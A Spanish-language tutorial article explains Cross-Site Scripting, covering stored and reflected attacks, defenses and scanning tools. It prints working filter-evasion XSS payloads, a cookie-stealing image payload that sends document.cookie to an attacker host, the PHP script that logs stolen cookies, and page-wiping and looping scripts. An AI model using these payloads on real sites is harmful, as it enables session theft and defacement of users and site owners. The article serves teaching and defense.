Los sitios Web de la actualidad son más complejos que nunca, contienen una gran cantidad de contenido dinámico, haciendo que la experiencia del usuario sea más agradable. El contenido dinámico se logra a través del uso de aplicaciones Web que pueden enviar diferentes salidas a sus usuarios dependiendo de su configuración y necesidades. Los sitios dinámicos sufren de una amenaza que no afecta a los sitios estáticos, llamada Cross Site Scripting (XSS)

Este tipo de ataques se hacen cada vez más populares entre los hackers ya que es relativamente sencillo encontrar agujeros que permiten explotar esta vulnerabilidad Cada mes se descubren entre 10 y 25 agujeros XSS en productos comerciales.

Los sitios Web que utilizan SSL (para https) NO tienen mayor protección que aquellos sitios que carecen de esta protección, ya que las aplicaciones Web trabajan de la misma manera que antes, excepto que el ataque se realiza en una conexión cifrada.

Es una vulnerabilidad que muchos desarrolladores dejan pasar por alto, quizás por falta de un planeamiento de análisis de riesgos en el proceso de diseño, desarrollo e implementación de sus aplicativos, o simplemente no lo vean como una falla que les va a presentar problemas en su aplicación, incluso por desconocimiento de esta vulnerabilidad.

Sea cual sea el motivo por el cual no se ejecuten medidas de prevención con respecto a esta vulnerabilidad, es necesario saber, que es un tipo de ataque que se extiende cada día mas, hoy en día es muy común encontrar sitios y usuarios afectados por este tipo de agresión.  Sitios como FBU.gov, CNN.com, Time.com, Ebay.com, Yahoo, entre otros han tenido una forma u otra de vulnerabilidades XSS. En los últimos meses, en México, se detecto esta vulnerabilidad en los routers del mayor proveedor de Internet de México, Telmex, que permitió redireccionar a los usuarios de cierto portal bancario.

Para ejecutar este tipo de ataque no es necesario ser un guru en el campo de la programación, ni desarrollar o utilizar herramientas complejas, basta con manejar un poco de las etiquetas de HTML y algún lenguaje de Scripting.

La clave primordial en el campo de la seguridad es no confiar en la entrada de datos de ningún usuario, ya que en algún momento estas entradas se puede convertir en una inserción de código malicioso, es por ello que la aplicación debe de validar cada uno de los campos en donde el usuario pueda o le sea requerido el ingreso de datos y dejar de lado la política de confianza al usuario.

Definición de Cross-Site-Scripting

El Cross-Site-Scripting es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado en los campos de entrada y permiten el ingreso y envió de datos sin validación alguna, aceptando el envió de scripts completos, pudiendo generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario. El Cross-Site-Scripting es una vulnerabilidad que puede causar un impacto tanto a una aplicación web como a usuarios que de manera inconsciente activen dicha secuencia de comandos.

Ocurre cuando la aplicación web acepta datos maliciosos de un usuario. Estos datos son por lo general enviados a través de un hipervínculo que contiene el código maligno. El usuario puede hacer clic en un enlace desde otro sitio Web, un mensajero instantáneo o simplemente al leer un tablero de mensajes o un e-mail. Usualmente el atacante cifrara la porción dañina del link en código HEX (o con algún otro método de cifrado) así que la petición se ve menos sospechosa para los usuarios. Después de que la información fue recabada por la aplicación Web, se crea una página de salida para el usuario que envió el código, pero de manera que parece la página válida del sitio. Muchos foros y libros de visitas permiten a los usuarios publicar entradas con html y javascript en él.

Un atacante puede usar XSS para enviar scripts maliciosos a un usuario ingenuo. El navegador del usuario no tiene forma de saber que no debe confiar en un determinado script y lo ejecutará. Ya que piensa que viene de una fuente confiable, pudiendo acceder a los cookies, tokens de sesión o cualquier información retenida por el navegador y que es usada por el sitio. Los scripts pueden incluso reescribir el contenido de la página.

Los ataques XSS son divididos por lo general en dos categorías: almacenados y reflejados. Los ataques almacenados son aquellos donde el código inyectado se almacena permanentemente en el servidor, como en una base de datos, en un foro de mensajes, libros de visita, etc. Los ataques reflejados se refiere a aquellos donde el código inyectado es reflejado por el servidor Web, como en un mensaje de error, o en los resultados de una búsqueda. Estos ataques son enviados a la victima usando otras vías como un e-mail, o algún otro servidor Web. Cuando un usuario cae en la trampa el código inyectado viaja al servidor Web vulnerable, que a su vez refleja el ataque hacia el navegador del usuario. El navegador ejecuta el script, ya que viene de un servidor “confiable”.

¿A quien Afecta?

El Cross-Site-Scripting es una vulnerabilidad que puede causar un impacto tanto a una aplicación web como a usuarios que de manera inconsciente activen dicha secuencia de comandos. Dicho código malicioso se compone de cadenas de datos cuyo contenido son scripts completos contenidos en enlaces o ejecutados desde formularios.

En caso de que sea ejecutado el script se ejecutara en el equipo del usuario con todos los privilegios permitidos por las políticas de seguridad configuradas en el navegador del usuario o del sitio visitado, pudiendo realizar acciones diversas como la captura de cookies de usuario o la activación de servicios y componentes del sistema operativo del usuario victima.

La mayor problemática es que estas cadenas de código se encuentran ocultas a la sombra de vínculos, de los cuales, el usuario normalmente no revisa el código y lo ejecuta con una política de confianza total, dicha ejecución se realiza de una manera indirecta, ya sea por una activación vía hipervínculo o por la ejecución al momento de la carga de un sitio afectado por este tipo de ataque, el atacante no realiza su acción pensando en un usuario en especifico si no que actúa de manera de que afectan a cualquier usuario que inocentemente caiga en dicha trampa, las formas mas comunes de realizar dicha agresión es por medio de correos electrónicos, vínculos falsos o ataques directos a sitios no preparados para este tipo de ataque.

Podemos encontrar una clasificación simple:

1.    Ataque al usuario.

2.    Ataque al Aplicativo.

1. Ataque al Usuario

Este es el ataque mas frecuente, debido al potencial de la información que se puede obtener mediante este tipo de agresión, ya que dependiendo del nivel de ingenio del atacante puede obtener información importante de un usuario victima extrayendo sus cookies y consiguiendo información almacenada en ellas o robando su sesión de usuario en un sitio web especifico.

Dentro de las diversas formas de ataque veremos dos de las más comunes.

Ataque vía correo electrónico:

Se basa en el envió de un correo electrónico a un usuario con un script oculto en un link a una dirección web, el atacante buscando motivar a su victima a seguir el enlace le ofrece un premio, regalo u oferta si visita dicho vinculo, al verse atraído por la información en el correo electrónico el usuario hace clic en el vinculo sin darse cuenta de que esta activando una secuencia de comandos que se ejecutaran en su equipo local, que podrían extraer sus cookies, eliminar archivos y en el caso mas fatal formatear su disco duro, mediante la invocación de programas con parámetros aleatorios.

Ataque vía publicación en Sitios Vulnerables:

Esta segunda forma se basa en la publicación de datos en blogs, foros, libros de visitas o sitios que permiten reflejar información enviada por un usuario y que no es validada por el servidor, donde podremos esconder secuencias de comandos detrás de un vinculo o imagen, este ataque tiene la misma finalidad que el anterior, pero con un mayor alcance de usuarios afectados.

Esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc) o indirecta (redirecciones, frame sets, etc)

Directa

Se da por ejemplo en un foro cuando se pueden introducir etiquetas y ejecutar un código. Funciona localizando puntos débiles en la programación de los filtros, por lo que al filtrar las etiquetas  <iframe>, <script> etc, es posible colocar un <div malicioso, o incluso un <u> o <s>, etc que casi siempre están permitidas.
Texto que se puede utilizar como una prueba de ataques XSS:

<IMG SRC=”javascript:alert(‘XSS’);”>

Nota: con el siguiente ejemplo las cadenas son más largas de lo que deberían, ya que los ceros pueden omitirse. Frecuentemente se puede ver que los filtros asumen que la codificación hex y dec debe de ser de dos o tres caracteres.

<IMG SRC=”jav ascript:alert(‘XSS’);”>

Espacios y metacaracteres antes del javascript en imágenes para XSS (es útil si el patrón coincide, no usa espacios en la palabra javascript, y asume que puedes tener espacios entre las comillas y la palabra clave javascript. La realidad es que se puede tener cualquier carácter desde el uno al treinta y dos en decimal.)

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>

No alfa no digitos XSS. Firefox asume que ninguna letra o digito es valido después de HTML por lo tanto consiste en un espacio en blanco o un token no valido después de una etiqueta HTML. El problema es que algunos filtros asumen que la etiqueta HTML esta incompleta debido al espacio en blanco.

<SCRIPT&XSS SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Usando INPUT image:

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

<BR SIZE=”&{alert(‘XSS’)}”>

<FK STYLE=”behavior: url(http://ha.ckers.org/xss.htc);”>

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

Usar Style es increíblemente fácil, y muchos filtros son vulnerables. Sin embargo no es posible meter todo en el espacio que disponible, pero se puede usar:

eval(this.fu)

y en el div, agregar un campo “fu” con el código

<div fu=”alert(‘Hola’);” STYLE=”background-image:

url(javascript:eval(this.fu))”>

Si no se tiene una validación debida de las entradas por parte del usuario, se pueden enviar cadenas con comandos ocultos en vínculos que se almacenaran y reflejaran en nuestro sitio por ejemplo:

Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:

http://www.mipagina-malosa.com/mifoto.jpg name=”foto”

Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:

 onload=”foto.src=’http://www.mipagina-malosa.com/foto.php? galleta=’%20+document.cookie;”>

Como podemos imaginar al finalizar la carga de la imagen se almacenaran las cookies del usuario que siguió el vinculo en una misteriosa variable llamada galleta, que será enviada a la url determinada por el atacante, ahora veamos el código de dicha página:

Código de foto.php.

<? $galleta = $_REQUEST[galleta];

$file=fopen(“cookies.txt”, “a”);

fput($file, “$galleta\n”);

fclose($file); ?>

Observemos que la variable que contiene las cookies del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante, ya esto significa un agujero de seguridad en nuestro sitio que expone peligrosamente la seguridad de nuestro usuario.

 Indirecta

 Es posible, cuando hay un mensaje o una ruta en la URL del navegador o en la cookie,

saber el contenido de una cookie sin usar ningún tipo de iecv o add-on para el navegador, se puede usar el siguiente script, solo colocándolo en la barra de direcciones

 javascript:void(document.cookie=prompt(“Alterar Cookie”,document.cookie).split(“;”));

Una vez dentro es posible modificar la cookie como se desee. Como podemos observar allí se encuentra nuestra cookie en un cuadro de dialogo que a la vez nos permite modificarla, así que haremos clic al final de la cookie y agregaremos un texto a ver si la modifica y presionamos el botón aceptar del cuadro de dialogo, como el script aun esta en el navegador simplemente volveremos a presionar la tecla ENTER o haremos clic sobre el botón IR y veremos nuevamente el cuadro de dialogo.

Si observamos al final de la cookie veremos que efectivamente se modifico nuestra cookie, bien de esa misma manera pueden ser extraídas y modificadas nuestras cookies de manera remota.

Usando FrameSets

Este tipo de ataque por medio del Cross-Site-Scripting es menos frecuente que el ataque a los usuarios, pero aun así existen personas que se deleitan fastidiando un sitio web por puro placer y consiste en poder almacenar scripts que se reflejen en el sitio para causar alguna alteración o eliminación del mismo.

Tomaremos como referencia un blog ya que sitios como blogs, foros y libros de visita, son los que mas fácilmente permiten este tipo de ataques, debido que en muchas ocasiones permiten el formateo de nuestro texto con etiquetas HTML y no validan correctamente el tipo de inserción que estamos haciendo.

Veamos un ejemplo simple. Hagamos un post como este:

<script>alert(“hola”);</script>
Al cargar la página donde se refleja nuestro post aparecerá una ventanita como esta.

Bien parece algo gracioso, un pequeño saludo de entrada, pero ahora quizás a ese hola podemos agregarle algo más:

<script>while(1)alert(“hola”);</script>
 Al cargar la pagina aparecerá la misma ventanita de saludo pero esta vez al darle clic volverá a aparecer, flotando en nuestro navegador, ya que siempre que demos clic en el botón aceptar del cuadro de dialogo seguirá apareciendo la misma ventanita, evitando toda posibilidad de interactuar con el sitio ya que la única forma de cerrar este cuadro de dialogo es cerrando la web que lo ejecuta, de esta manera dejo de ser gracioso y empieza a ser molesto, pero hasta aquí llegaron los principiantes.

Alguien más experimentado en el XSS podría intentar algo como:

<iframe src=http://mipagina.com/pagina.htm>

Y en el código de pagina.htm algo como esto:

<SCRIPT TYPE=”text/javascript” LANGUAGE=JAVASCRIPT>

if (top.frames.length!=0)

top.location=self.document.location; </SCRIPT>

Como es posible observar cada vez que se ingrese a la página donde se refleja esta inyección se mostrara pagina.htm como frame superior. Algo más dañino podría ser el  eliminar todo el contenido de la página de post y remplazarlo por un mensaje, se logra de una manera tan sencilla como esta:

<script>document.documentElement.innerHTML=”Borrada”;</script>

Otro uso común para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit, en la barra de direcciones muestra una cierta página, pero realmente se esta navegando en otra.

Robo de cookies

XSS es el método que se utiliza para el robo de cookies y otros datos importantes de los sitios web y permitirá, entre otras cosas, hacernos con las cookies de diferentes personas en un sitio especifico haciéndonos pasar por ellos en caso necesario, podríamos digamos, hacernos con la cookie del administrador de un foro o de un sitio en especifico que no tiene la debida protección o no pusieron el debido cuidado a la hora de hacer sus códigos.

¿Como protegerse?

La respuesta es muy sencilla. Si se es desarrollador: nunca confiar en la información enviada por los usuarios, y siempre hacer un filtro de los meta caracteres. Esto eliminara la mayoría de los ataques XSSS convertir “< “y “> “ a &lt; y &gt; sin embargo esto no nos asegura nada. También es necesario cambiar ( ) por ( y ), ” a “, ‘ a &#39, y también #  & a &#35  y  &#38.

 Sin embargo los atacantes frecuentemente utilizan una gran variedad de métodos para codificar la porción dañina de una etiqueta, como Unicode, de esa manera las peticiones se ven menos sospechosas para los usuarios. Existen cientos de variantes de estos ataques, incluyendo versiones que ni siquiera requieren de los símbolos <>. En lugar de ellos es recomendable validar las entradas con una rigurosa especificación de lo que se puede esperar de un ataque típico de XSS. Aunque la mayoría de los ataques están escritos en JavaScript cualquier contenido activo es una fuente potencial de peligro, incluyendo: ActiveX (OLE), VBScript, Shockwave, Flash, etc.

 El proyecto de filtros de OSWAP esta produciendo componentes reutilizables en diversos lenguajes, para ayudar a prevenir muchas formas de parámetros corruptos, incluyendo los ataques XSS. Además el proyecto WebGoat de la misma organización tiene lecciones acerca del XSS y cifrado de datos.

Si es un usuario bastará con hacer clic en las páginas del sitio que estamos visitando, y si en algún momento se desea ir a otra página entonces se deberá ir a la página principal en lugar de hacer clic en los enlaces de la primera página. Esto podría eliminar el 90% de las amenazas. Otra manera de prevenir ataque es deshabilitar la ejecución de javascript desde la configuración de nuestro explorador.

 Herramientas

Extensión para FireFox XSS Me 0.3.0

Es una herramienta utilizada para reflejar los ataques de XSS cross site scripting. Es importante señalar que no realiza pruebas para procedimientos almacenados del tipo XSS.rnm. la herramienta trabaja enviando las formas HTML  y substituyendo los valores con cadenas que son representativas de un ataque XSS. La página  resultante configura un valor de java (document.vulnerable=true) de esta manera sabemos que la página es vulnerable a un ataque de XSS. La herramienta no atenta contra la seguridad del sistema dado. Busca por posibles puntos vulnerables a un ataque contra el sistema. La herramienta no hace un escaneo de puertos, un sniffing de paquetes, hackeo de passwords o ataques al firewall. De hecho es posible ver a esta herramienta como las que utilizan los aseguradores de calidad.

Acunetix WVS (Web Vulnerability Scanner)

Los hackers esta en búsqueda de vulnerabilidades del Cross Site Scripting (XSS) en cada aplicación Web de la red: Carros de compra, paginas de ingreso, los contenido dinámicos son blancos fáciles. Acunetix WVS nos permite escanear una aplicación Web para localizar estos errores.

• Prueba una aplicación para encontrar vulnerabilidades como XSS, inyección de SQL, entre otras.
• Los firewall, SSL y servidores a prueba de fallas son inútiles cuando hablamos de hackear una página Web.
•  Acunetix verifica el código fuente para buscar errores que puedan ser explotados por XSS

Bibliografía

The webappsec mailing list ( www.securityfocus.com)

webappsec@securityfocus.com
Published to the Public May 2002Copyright May 2002 Cgisecurity.com

 http://foro.elhacker.net/tutoriales_documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html

http://www.owasp.org/index.php/Cross_Site_Scripting

http://ha.ckers.org/xss.html